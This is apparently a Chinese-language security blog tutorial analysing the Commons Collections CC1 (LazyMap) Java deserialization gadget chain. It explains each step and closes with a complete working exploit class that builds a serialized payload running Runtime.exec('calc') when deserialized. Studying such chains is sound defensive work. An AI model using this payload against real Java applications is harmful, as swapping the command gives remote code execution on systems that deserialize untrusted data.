CC1(LazyMap链)
测试环境
- commons-collection 3.2.1
- java 1.8_65
具体调用流程

链头和链尾和CC1链(TransformMap)一致, 只是中间利用链发生改变
由TransformMap改用为LazyMap
这里给出ysoserial里的CC1利用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
这里咱们从后往前分析
CC1链(LazyMap)分析
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
|
去找一下factory是什么

这个decorate方法和之前TransformMap中的decorate方法是一样的作用
写个代码测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer transformerChain = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, transformerChain);
Class<LazyMap> lazyMapClass = LazyMap.class; Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class); lazyGetMethod.setAccessible(true); lazyGetMethod.invoke(lazyMap, "1");
|

最终在AnnotationInvocationHandler.invoke()方法中找到了有一个地方调用了get方法, 而且传入参数可控

这个类有readObject方法, 可以作为入口类, 且参数可控是public方法
- 现在关键点要触发
AnnotationInvocationHandler.invoke()
动态代理
需要触发 invoke 方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。我们去readObject找一找能利用的地方

在这里调用了 entrySet() 方法,也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class CC6Test { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer transformerChain = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, transformerChain);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandler.setAccessible(true); InvocationHandler handler = (InvocationHandler) annotationInvocationHandler.newInstance(Target.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = annotationInvocationHandler.newInstance(Override.class, mapProxy);
serialize(o); unserialize("ser.bin");
} public static void serialize(Object obj) throws IOException, IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object o = ois.readObject(); ois.close(); return o; } }
|
执行结果
